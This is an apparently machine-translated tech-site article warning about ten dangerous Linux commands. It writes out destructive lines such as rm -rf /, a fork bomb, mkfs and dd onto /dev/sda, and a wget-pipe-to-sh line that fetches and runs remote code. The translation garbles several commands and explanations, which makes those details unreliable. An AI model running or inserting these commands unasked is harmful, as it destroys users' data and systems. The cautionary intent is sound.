In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/01 Report--
This article introduces the knowledge of "what are the 10 most dangerous commands under Linux". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!
1. Rm-rf command rm-rf command is one of the fastest ways to delete a folder and its contents. Even the slightest mistake or ignorance can lead to the collapse of an irreversible system. Here are some options for the rm command: the rm command is usually used to delete files under Linux. The rm-r command recursively deletes folders, even empty folders. The rm-f command deletes' read-only files' without being asked. Deleting a file under Linux does not care whether the file is read-only, but whether its parent directory has write permission. So, the parameter-f just means that you don't have to delete the confirmation one by one, but delete it all quietly. In addition, the original rm command does not actually delete the prompt, but the general distribution will add the rm alias to the-I parameter to request deletion confirmation, and-f suppresses the prompt. Rm-rf /: forces the deletion of everything in the root directory. Rm-rf *: forces the deletion of all files in the current directory. Rm-rf. Forces the current folder and its subfolders to be deleted From now on, please be careful when you execute the rm-rf command. We can create an alias for rm-I in the ".bashrc" file to the 'rm' command to prevent accidents when deleting files with the' rm' command, which asks you to confirm each delete request. Most distributions have already done this, if not, do so, and be sure to think about what you are doing before using the-f parameter! The translator himself has learned the lesson of blood and tears. ) 2.: ():;: command this is an example of an fork bomb. This is done by defining a function called':', which calls itself twice, once in the foreground and once in the background. It will be executed repeatedly until the system crashes. 3. Command > / dev/sda
This command writes the output of a 'command' to the block device / dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss for the entire block device.
4. Mv folder / dev/null
This command moves a 'folder' to / dev/null. In Linux, the / dev/null or null device is a special file, and all data written to it is erased and a successful write operation is returned. Of course, it is important to note that this command does not stop the data recovery software-so the real complete destruction needs to be done with dedicated software or techniques. 5. Wget http://malicious_source-O-| sh
This command downloads a script from a (perhaps) malicious source and executes it. The Wget command downloads the script, and sh executes the downloaded script (unconditionally). Note: you should always pay attention to the source of your download package or script. You can only use those that download scripts / programs from trusted sources.
6. Mkfs.ext3 / dev/sda the above command will format the block device 'sda',. After executing this command, your block device (hard drive) will be formatted, directly bringing your system to an unrecoverable stage. Usually we don't use devices like / dev/sda directly unless they are used as raw devices. Generally speaking, you need to divide sda into partitions such as sda1 and sda2 before using it. Of course, whether you use sda or sda1, this mkfs of block devices or partitions is devastating, and the above data will be evaporated. 7. > file this command is often used to empty the contents of a file or to record command output. However, please make sure that the output file is empty or does not exist before execution, otherwise the original file will not be recovered-even the data recovery software may not be able to help you. What you may really want to use is ">", which accumulates new output to the file instead of refreshing that file. Incorrectly or ignorantly typing commands like "> xt.conf" with the above will overwrite the configuration file or any other system configuration file. 8. The ^ Foo ^ bar command is used to edit previously run commands without retyping the entire command. If you do not thoroughly examine the risk of changing the original command when using the foobar command, this can lead to real trouble. 9. Dd if=/dev/random of=/dev/sda this command will write random junk files to the block device sda to wipe out the data, leaving your system in a chaotic and unrecoverable state. Remember when it was said that mv to a black hole can't delete data completely? Then this command gives you a way to delete it completely! Of course, just to be on the safe side, you can rewrite it many times. 10. The command below the hidden command is actually the first command above (rm-rf). The code here is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command from the terminal may erase your root partition. The real danger is hidden and cannot be easily detected. You must always pay attention to what you are doing and what will happen. This is the end of "what are the 10 most dangerous commands under Linux". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.